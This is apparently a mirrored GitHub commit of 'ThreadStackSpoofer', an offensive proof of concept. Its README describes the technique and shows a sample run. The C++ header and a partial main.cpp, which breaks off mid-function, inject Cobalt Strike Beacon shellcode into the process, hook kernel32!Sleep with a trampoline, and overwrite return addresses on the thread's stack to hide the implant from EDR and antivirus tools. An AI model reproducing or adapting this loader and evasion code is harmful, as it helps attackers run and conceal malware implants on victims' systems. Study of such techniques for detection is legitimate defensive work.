mirror of
https://github.com/mgeeky/ThreadStackSpoofer
synced 2026-06-06 16:14:32 +00:00
first
This commit is contained in:
@@ -0,0 +1,110 @@
|
||||
# Thread Stack Spoofing PoC
|
||||
|
||||
This is an example implementation for _Thread Stack Spoofing_ technique aiming to evade Malware Analysts, AVs and EDRs looking for references to shellcode's frames in an examined thread's call stack.
|
||||
The idea is to walk back thread's call stack and overwrite return addresses in subsequent function frames thus masquerading allocations containing malware's code.
|
||||
|
||||
An implementation may differ, however the idea is roughly similar to what [MDSec's Nighthawk C2](https://www.mdsec.co.uk/nighthawk/) offers for its agents.
|
||||
Especially demonstrated in this video:
|
||||
|
||||
[Nighthawk - Thread Stack Spoofing](https://vimeo.com/581861665)
|
||||
|
||||
|
||||
## How it works?
|
||||
|
||||
This program performs self-injection shellcode (roughly via classic `VirtualAlloc` + `memcpy` + `CreateThread`).
|
||||
Then when shellcode runs (this implementation specifically targets Cobalt Strike Beacon implants) a Windows function will be hooked intercepting moment when Beacon falls asleep `kernel32!Sleep`.
|
||||
Whenever hooked `MySleep` function gets invoked, it will spoof its own call stack leading to this `MySleep` function and begin sleeping.
|
||||
Having awaited for expected amount of time, the Thread's call stack will get restored assuring stable return and shellcode's execution resumption.
|
||||
|
||||
The rough algorithm is following:
|
||||
|
||||
1. Read shellcode's contents from file.
|
||||
2. Acquire all the necessary function pointers from `dbghelp.dll`, call `SymInitialize`
|
||||
3. Hook `kernel32!Sleep` pointing back to our callback.
|
||||
4. Inject and launch shellcode via `VirtualAlloc` + `memcpy` + `CreateThread`
|
||||
5. As soon as Beacon attempts to sleep, our `MySleep` callback gets invoked.
|
||||
6. Stack Spoofing begins.
|
||||
7. Firstly we walk call stack of our current thread, utilising `ntdll!RtlCaptureContext` and `dbghelp!StackWalk64`
|
||||
8. We save all of the stack frames that match our `seems-to-be-beacon-frame` criterias (such as return address points back to a memory being `MEM_PRIVATE` or `Type = 0`, or memory's protection flags are not `R/RX/RWX`)
|
||||
9. We terate over collected frames (gathered function frame pointers `RBP/EBP` - in `frame.frameAddr`) and overwrite _on-stack_ return addresses with a fake `::CreateFileW` address.
|
||||
10. Finally a call to `::SleepEx` is made to let the Beacon's sleep while waiting for further communication.
|
||||
11. After Sleep is finished, we restore previously saved original function return addresses and execution is resumed.
|
||||
|
||||
Function return addresses are scattered all around the thread's stack memory area, pointed to by `RBP/EBP` register. In order to find them on the stack, we need to firstly collect frame pointers, then dereference them for overwriting:
|
||||
|
||||
```
|
||||
*(PULONG_PTR)(frameAddr + sizeof(void*)) = Fake_Return_Address;
|
||||
```
|
||||
|
||||
This precise logic is provided by `walkCallStack` and `spoofCallStack` functions in `main.cpp`.
|
||||
|
||||
|
||||
## Demo
|
||||
|
||||
This is how a call stack may look like when it is **NOT** spoofed:
|
||||
|
||||
[images/not-spoofed.png]
|
||||
|
||||
This in turn, when thread stack spoofing is enabled:
|
||||
|
||||
[images/spoofed.png]
|
||||
|
||||
|
||||
## Example run
|
||||
|
||||
Example run that spoofs beacon's thread call stack:
|
||||
|
||||
```
|
||||
C:\> ThreadStackSpoofer.exe beacon64.bin 1
|
||||
[.] Reading shellcode bytes...
|
||||
[.] Initializing stack spoofer...
|
||||
[+] Stack spoofing initialized.
|
||||
[.] Hooking kernel32!Sleep...
|
||||
[.] Injecting shellcode...
|
||||
WalkCallStack: Stack Trace:
|
||||
2. calledFrom: 0x7ff7abc92de4 - stack: 0x50174ff7d0 - frame: 0x50174ff8e0 - ret: 0x1f255dabd51 - skip? 0
|
||||
3. calledFrom: 0x1f255dabd51 - stack: 0x50174ff8f0 - frame: 0x50174ff8e8 - ret: 0x1388 - skip? 0
|
||||
4. calledFrom: 0x 1388 - stack: 0x50174ff8f8 - frame: 0x50174ff8f0 - ret: 0x1f25683ae80 - skip? 0
|
||||
5. calledFrom: 0x1f25683ae80 - stack: 0x50174ff900 - frame: 0x50174ff8f8 - ret: 0x1b000100000004 - skip? 0
|
||||
6. calledFrom: 0x1b000100000004 - stack: 0x50174ff908 - frame: 0x50174ff900 - ret: 0x8003600140000 - skip? 0
|
||||
7. calledFrom: 0x8003600140000 - stack: 0x50174ff910 - frame: 0x50174ff908 - ret: 0x1f255f76040 - skip? 0
|
||||
8. calledFrom: 0x1f255f76040 - stack: 0x50174ff918 - frame: 0x50174ff910 - ret: 0x1f255d8cd9f - skip? 0
|
||||
9. calledFrom: 0x1f255d8cd9f - stack: 0x50174ff920 - frame: 0x50174ff918 - ret: 0x1f255d8cdd0 - skip? 0
|
||||
WalkCallStack: Stack Trace finished.
|
||||
Spoofed: 0x1f255dabd51 -> 0x7ffeb7f74b60
|
||||
Spoofed: 0x00001388 -> 0x7ffeb7f74b60
|
||||
Spoofed: 0x1f25683ae80 -> 0x7ffeb7f74b60
|
||||
Spoofed: 0x1b000100000004 -> 0x7ffeb7f74b60
|
||||
Spoofed: 0x8003600140000 -> 0x7ffeb7f74b60
|
||||
Spoofed: 0x1f255f76040 -> 0x7ffeb7f74b60
|
||||
Spoofed: 0x1f255d8cd9f -> 0x7ffeb7f74b60
|
||||
Spoofed: 0x1f255d8cdd0 -> 0x7ffeb7f74b60
|
||||
MySleep(5000)
|
||||
[+] Shellcode is now running.
|
||||
WalkCallStack: Stack Trace:
|
||||
2. calledFrom: 0x7ff7abc92e14 - stack: 0x50174ff7d0 - frame: 0x50174ff8e0 - ret: 0x7ffeb7f74b60 - skip? 1
|
||||
3. calledFrom: 0x7ffeb7f74b60 - stack: 0x50174ff8f0 - frame: 0x50174ff8e8 - ret: 0x7ffeb7f74b60 - skip? 1
|
||||
4. calledFrom: 0x7ffeb7f74b60 - stack: 0x50174ff8f8 - frame: 0x50174ff8f0 - ret: 0x7ffeb7f74b60 - skip? 1
|
||||
5. calledFrom: 0x7ffeb7f74b60 - stack: 0x50174ff900 - frame: 0x50174ff8f8 - ret: 0x7ffeb7f74b60 - skip? 1
|
||||
6. calledFrom: 0x7ffeb7f74b60 - stack: 0x50174ff908 - frame: 0x50174ff900 - ret: 0x7ffeb7f74b60 - skip? 1
|
||||
7. calledFrom: 0x7ffeb7f74b60 - stack: 0x50174ff910 - frame: 0x50174ff908 - ret: 0x7ffeb7f74b60 - skip? 1
|
||||
8. calledFrom: 0x7ffeb7f74b60 - stack: 0x50174ff918 - frame: 0x50174ff910 - ret: 0x7ffeb7f74b60 - skip? 1
|
||||
9. calledFrom: 0x7ffeb7f74b60 - stack: 0x50174ff920 - frame: 0x50174ff918 - ret: 0x7ffeb7f74b60 - skip? 1
|
||||
WalkCallStack: Stack Trace finished.
|
||||
Restored: 0x7ffeb7f74b60 -> 0x1f255dabd51
|
||||
Restored: 0x7ffeb7f74b60 -> 0x1388
|
||||
Restored: 0x7ffeb7f74b60 -> 0x1f25683ae80
|
||||
Restored: 0x7ffeb7f74b60 -> 0x1b000100000004
|
||||
Restored: 0x7ffeb7f74b60 -> 0x8003600140000
|
||||
Restored: 0x7ffeb7f74b60 -> 0x1f255f76040
|
||||
Restored: 0x7ffeb7f74b60 -> 0x1f255d8cd9f
|
||||
Restored: 0x7ffeb7f74b60 -> 0x1f255d8cdd0
|
||||
```
|
||||
|
||||
|
||||
## Author
|
||||
|
||||
```
|
||||
Mariusz Banach / mgeeky,
|
||||
<mb [at] binary-offensive.com>, '21
|
||||
```
|
||||
@@ -0,0 +1,31 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 16
|
||||
VisualStudioVersion = 16.0.31105.61
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ThreadStackSpoofer", "ThreadStackSpoofer\ThreadStackSpoofer.vcxproj", "{9EED9E19-9475-4D2E-9B06-37D6799417FE}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{9EED9E19-9475-4D2E-9B06-37D6799417FE}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{9EED9E19-9475-4D2E-9B06-37D6799417FE}.Debug|x64.Build.0 = Debug|x64
|
||||
{9EED9E19-9475-4D2E-9B06-37D6799417FE}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{9EED9E19-9475-4D2E-9B06-37D6799417FE}.Debug|x86.Build.0 = Debug|Win32
|
||||
{9EED9E19-9475-4D2E-9B06-37D6799417FE}.Release|x64.ActiveCfg = Release|x64
|
||||
{9EED9E19-9475-4D2E-9B06-37D6799417FE}.Release|x64.Build.0 = Release|x64
|
||||
{9EED9E19-9475-4D2E-9B06-37D6799417FE}.Release|x86.ActiveCfg = Release|Win32
|
||||
{9EED9E19-9475-4D2E-9B06-37D6799417FE}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {C5AF3E09-A902-42DF-9A8C-D63A66F8F25B}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,156 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{9eed9e19-9475-4d2e-9b06-37d6799417fe}</ProjectGuid>
|
||||
<RootNamespace>ThreadStackSpoofer</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<ControlFlowGuard>false</ControlFlowGuard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="header.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,27 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="header.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,7 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LocalDebuggerCommandArguments>d:\dev2\ThreadStackSpoofer\ThreadStackSpoofer\x64\Debug\beacon64.bin</LocalDebuggerCommandArguments>
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
</PropertyGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,94 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
#include <DbgHelp.h>
|
||||
#include <iostream>
|
||||
#include <sstream>
|
||||
#include <iomanip>
|
||||
#include <vector>
|
||||
|
||||
|
||||
typedef void (WINAPI* typeSleep)(
|
||||
DWORD dwMilis
|
||||
);
|
||||
|
||||
typedef BOOL(__stdcall* typeStackWalk64)(
|
||||
DWORD MachineType,
|
||||
HANDLE hProcess,
|
||||
HANDLE hThread,
|
||||
LPSTACKFRAME64 StackFrame,
|
||||
PVOID ContextRecord,
|
||||
PREAD_PROCESS_MEMORY_ROUTINE64 ReadMemoryRoutine,
|
||||
PFUNCTION_TABLE_ACCESS_ROUTINE64 FunctionTableAccessRoutine,
|
||||
PGET_MODULE_BASE_ROUTINE64 GetModuleBaseRoutine,
|
||||
PTRANSLATE_ADDRESS_ROUTINE64 TranslateAddress
|
||||
);
|
||||
|
||||
typedef BOOL(__stdcall* typeSymInitialize)(
|
||||
IN HANDLE hProcess,
|
||||
IN LPCSTR UserSearchPath,
|
||||
IN BOOL fInvadeProcess
|
||||
);
|
||||
|
||||
typedef std::unique_ptr<std::remove_pointer<HANDLE>::type, decltype(&::CloseHandle)> HandlePtr;
|
||||
|
||||
struct CallStackFrame
|
||||
{
|
||||
ULONG_PTR calledFrom;
|
||||
ULONG_PTR stackAddr;
|
||||
ULONG_PTR frameAddr;
|
||||
ULONG_PTR origFrameAddr;
|
||||
ULONG_PTR retAddr;
|
||||
ULONG_PTR overwriteWhat;
|
||||
};
|
||||
|
||||
static const size_t MaxStackFramesToSpoof = 64;
|
||||
struct StackTraceSpoofingMetadata
|
||||
{
|
||||
HMODULE hDbghelp;
|
||||
typeStackWalk64 pStackWalk64;
|
||||
LPVOID pSymFunctionTableAccess64;
|
||||
LPVOID pSymGetModuleBase64;
|
||||
bool initialized;
|
||||
CallStackFrame spoofedFrame[MaxStackFramesToSpoof];
|
||||
size_t spoofedFrames;
|
||||
};
|
||||
|
||||
struct HookedSleep
|
||||
{
|
||||
typeSleep origSleep;
|
||||
BYTE sleepStub[16];
|
||||
};
|
||||
|
||||
struct HookTrampolineBuffers
|
||||
{
|
||||
// (Input) Buffer containing bytes that should be restored while unhooking.
|
||||
BYTE* originalBytes;
|
||||
DWORD originalBytesSize;
|
||||
|
||||
// (Output) Buffer that will receive bytes present prior to trampoline installation/restoring.
|
||||
BYTE* previousBytes;
|
||||
DWORD previousBytesSize;
|
||||
};
|
||||
|
||||
|
||||
template<class... Args>
|
||||
void log(Args... args)
|
||||
{
|
||||
std::stringstream oss;
|
||||
(oss << ... << args);
|
||||
|
||||
std::cout << oss.str() << std::endl;
|
||||
}
|
||||
|
||||
static const size_t Frames_To_Preserve = 2;
|
||||
static const DWORD Shellcode_Memory_Protection = PAGE_EXECUTE_READ;
|
||||
|
||||
bool hookSleep();
|
||||
bool injectShellcode(std::vector<uint8_t>& shellcode);
|
||||
bool readShellcode(const char* path, std::vector<uint8_t>& shellcode);
|
||||
void walkCallStack(HANDLE hThread, CallStackFrame* frames, size_t maxFrames, size_t* numOfFrames, bool onlyBeaconFrames = false);
|
||||
bool initStackSpoofing();
|
||||
bool fastTrampoline(bool installHook, BYTE* addressToHook, LPVOID jumpAddress, HookTrampolineBuffers* buffers = NULL);
|
||||
void spoofCallStack(bool overwriteOrRestore);
|
||||
void WINAPI MySleep(DWORD _dwMilliseconds);
|
||||
@@ -0,0 +1,436 @@
|
||||
|
||||
#include "header.h"
|
||||
|
||||
HookedSleep g_hookedSleep;
|
||||
StackTraceSpoofingMetadata g_stackTraceSpoofing;
|
||||
|
||||
|
||||
void WINAPI MySleep(DWORD _dwMilliseconds)
|
||||
{
|
||||
const volatile DWORD dwMilliseconds = _dwMilliseconds;
|
||||
spoofCallStack(true);
|
||||
|
||||
log("MySleep(", std::dec, dwMilliseconds, ")");
|
||||
::SleepEx(dwMilliseconds, false);
|
||||
|
||||
spoofCallStack(false);
|
||||
}
|
||||
|
||||
bool fastTrampoline(bool installHook, BYTE* addressToHook, LPVOID jumpAddress, HookTrampolineBuffers* buffers /*= NULL*/)
|
||||
{
|
||||
#ifdef _WIN64
|
||||
uint8_t trampoline[] = {
|
||||
0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, addr
|
||||
0x41, 0xFF, 0xE2 // jmp r10
|
||||
};
|
||||
|
||||
uint64_t addr = (uint64_t)(jumpAddress);
|
||||
memcpy(&trampoline[2], &addr, sizeof(addr));
|
||||
#else
|
||||
uint8_t trampoline[] = {
|
||||
0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax, addr
|
||||
0xFF, 0xE0 // jmp eax
|
||||
};
|
||||
|
||||
uint32_t addr = (uint32_t)(jumpAddress);
|
||||
memcpy(&trampoline[1], &addr, sizeof(addr));
|
||||
#endif
|
||||
|
||||
DWORD dwSize = sizeof(trampoline);
|
||||
DWORD oldProt = 0;
|
||||
bool output = false;
|
||||
|
||||
if (installHook)
|
||||
{
|
||||
if (buffers != NULL)
|
||||
{
|
||||
if (buffers->previousBytes == nullptr || buffers->previousBytesSize == 0)
|
||||
return false;
|
||||
|
||||
memcpy(buffers->previousBytes, addressToHook, buffers->previousBytesSize);
|
||||
}
|
||||
|
||||
if (::VirtualProtect(
|
||||
addressToHook,
|
||||
dwSize,
|
||||
PAGE_EXECUTE_READWRITE,
|
||||
&oldProt
|
||||
))
|
||||
{
|
||||
memcpy(addressToHook, trampoline, dwSize);
|
||||
output = true;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if (buffers == NULL)
|
||||
return false;
|
||||
|
||||
if (buffers->originalBytes == nullptr || buffers->originalBytesSize == 0)
|
||||
return false;
|
||||
|
||||
dwSize = buffers->originalBytesSize;
|
||||
|
||||
if (::VirtualProtect(
|
||||
addressToHook,
|
||||
dwSize,
|
||||
PAGE_EXECUTE_READWRITE,
|
||||
&oldProt
|
||||
))
|
||||
{
|
||||
memcpy(addressToHook, buffers->originalBytes, dwSize);
|
||||
output = true;
|
||||
}
|
||||
}
|
||||
|
||||
::VirtualProtect(
|
||||
addressToHook,
|
||||
dwSize,
|
||||
oldProt,
|
||||
&oldProt
|
||||
);
|
||||
|
||||
return output;
|
||||
}
|
||||
|
||||
bool hookSleep()
|
||||
{
|
||||
HookTrampolineBuffers buffers = { 0 };
|
||||
buffers.previousBytes = g_hookedSleep.sleepStub;
|
||||
buffers.previousBytesSize = sizeof(g_hookedSleep.sleepStub);
|
||||
|
||||
g_hookedSleep.origSleep = reinterpret_cast<typeSleep>(Sleep);
|
||||
|
||||
if (!fastTrampoline(true, (BYTE*)::Sleep, &MySleep, &buffers))
|
||||
return false;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void walkCallStack(HANDLE hThread, CallStackFrame* frames, size_t maxFrames, size_t* numOfFrames, bool onlyBeaconFrames /*= false*/)
|
||||
{
|
||||
CONTEXT c = { 0 };
|
||||
STACKFRAME64 s = { 0 };
|
||||
DWORD imageType;
|
||||
ULONG curRecursionCount = 0;
|
||||
|
||||
c.ContextFlags = CONTEXT_ALL;
|
||||
|
||||
if (hThread == GetCurrentThread() || hThread == 0)
|
||||
RtlCaptureContext(&c);
|
||||
else
|
||||
GetThreadContext(hThread, &c);
|
||||
|
||||
#ifdef _M_IX86
|
||||
const ULONG_PTR invalidAddr = 0xcccccccc;
|
||||
// normally, call ImageNtHeader() and use machine info from PE header
|
||||
imageType = IMAGE_FILE_MACHINE_I386;
|
||||
s.AddrPC.Offset = c.Eip;
|
||||
s.AddrPC.Mode = AddrModeFlat;
|
||||
s.AddrFrame.Offset = c.Ebp;
|
||||
s.AddrFrame.Mode = AddrModeFlat;
|
||||
s.AddrStack.Offset = c.Esp;
|
||||
s.AddrStack.Mode = AddrModeFlat;
|
||||
#elif _M_X64
|
||||
const ULONG_PTR invalidAddr = 0xcccccccccccccccc;
|
||||
imageType = IMAGE_FILE_MACHINE_AMD64;
|
||||
s.AddrPC.Offset = c.Rip;
|
||||
s.AddrPC.Mode = AddrModeFlat;
|
||||
s.AddrFrame.Offset = c.Rsp;
|
||||
s.AddrFrame.Mode = AddrModeFlat;
|
||||
s.AddrStack.Offset = c.Rsp;
|
||||
s.AddrStack.Mode = AddrModeFlat;
|
||||
#elif _M_IA64
|
||||
const ULONG_PTR invalidAddr = 0xcccccccccccccccc;
|
||||
imageType = IMAGE_FILE_MACHINE_IA64;
|
||||
s.AddrPC.Offset = c.StIIP;
|
||||
s.AddrPC.Mode = AddrModeFlat;
|
||||
s.AddrFrame.Offset = c.IntSp;
|
||||
s.AddrFrame.Mode = AddrModeFlat;
|
||||
s.AddrBStore.Offset = c.RsBSP;
|
||||
s.AddrBStore.Mode = AddrModeFlat;
|
||||
s.AddrStack.Offset = c.IntSp;
|
||||
s.AddrStack.Mode = AddrModeFlat;
|
||||
#else
|
||||
#error "Platform not supported!"
|
||||
#endif
|
||||
|
||||
log("WalkCallStack: Stack Trace: ");
|
||||
|
||||
*numOfFrames = 0;
|
||||
ULONG Frame = 0;
|
||||
|
||||
for (Frame = 0; ; Frame++)
|
||||
{
|
||||
BOOL result = g_stackTraceSpoofing.pStackWalk64(
|
||||
imageType,
|
||||
GetCurrentProcess(),
|
||||
hThread,
|
||||
&s,
|
||||
&c,
|
||||
NULL,
|
||||
(PFUNCTION_TABLE_ACCESS_ROUTINE64)g_stackTraceSpoofing.pSymFunctionTableAccess64,
|
||||
